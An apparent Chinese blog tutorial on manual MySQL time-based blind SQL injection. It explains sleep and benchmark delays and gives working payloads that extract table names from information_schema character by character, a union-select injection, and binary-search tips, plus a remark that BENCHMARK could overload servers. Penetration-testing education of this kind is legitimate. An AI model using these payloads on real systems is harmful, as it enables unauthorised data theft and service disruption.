Mysql时间延迟盲注之手工利用

sqlmap支持使用–Techniques “T”指定时间延迟注入,节省sqlmap使用其他注入测试时间,然后就是伪静态指定位置注入,在注入参数中加*(不能去掉参数值),如果有token的情况,在sqlmap中有个conf配置文件,可以配置url,没使用过,不晓得是否可以绕过token,如果遇到可识别的图形验证码,就只能自己写脚本手工注入了,于是手工分析了下,正合适完善下sql注入高级篇教程。
首先mysql延迟注入支持两个函数,一个是benchmark函数,(有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式, 返回的结果始终是0)比如: select BENCHMARK(10000000,md5(1)); 这种方式是执行了10000000次md5(1)操作,这种方式判断是否延迟消耗CPU,这个函数的最初设计是为了测试mysql的性能的,如果做破坏的话,把第一个参数加到最大,多线程发送请求,会造成cc攻击,导致服务器负荷过高、一般都不用这个函数,用sleep(2)睡眠函数,判断延迟时间准确,而且不会影响系统性能。

基础函数整理如下:

#编码时间延迟注入
if(now()=sysdate()%2csleep(2)%2c0)

#解码后的样子
if(now()=sysdate(),sleep(2),0)

#延迟函数
sleep(2)//秒

#条件语句,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)

#转换成ascii码函数
ascii()

#取字符串长度
substring(“string”,strart,length)
或者用mid(),取出字符串里的第几位开始,长度多少的字符

##当ascii码正确时,产生延时,否则不延时
if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一个字符h,转化为ascii码,与104对比,如果相等则执行sleep(2),否则执行1,在sqlmap中,如果标签缀被跑出了,下次的时候sqlmap会优先判断表前缀,从而提高了注入速度。

如果自己写脚本的话,if(ascii(“h”)=104,sleep(2),1),通过ascii码把a-zA-Z0-9都遍历一遍,即可取出对应的结果了。 在sqlmap中把这个表达式拆分了噢、用16进制方式做的对比,预计是可以加快速度的,不过猜测会消耗主机资源。

##查表名,查字段,内容以此类推
if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);

#查数据库

##########################################################################################################################

实际中测试mysql盲注,首先要闭合前面的sql语句,要后面的sql语句和前面是连贯可执行的,不然没用,比如:

id=1 union select if(ascii(“h”)=104,sleep(2),1)

if(ascii(“h”)=104,sleep(2),1) #实际中使用要把,做URL编码为%2c

注入流程首先要构造mysql数据查询、版本、然后判断数据库数量,每个数据库表的长度,length(database())>10,然后再一个一个猜测,时间延迟盲注拖数据比较慢噢、用二分法优化可以提高速度,先判断字符的边界,再慢慢缩小范围,直到相等了触发延迟为止,sqlmap优化了很多,速度比较可观、后面再详细看sqlmap源码。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.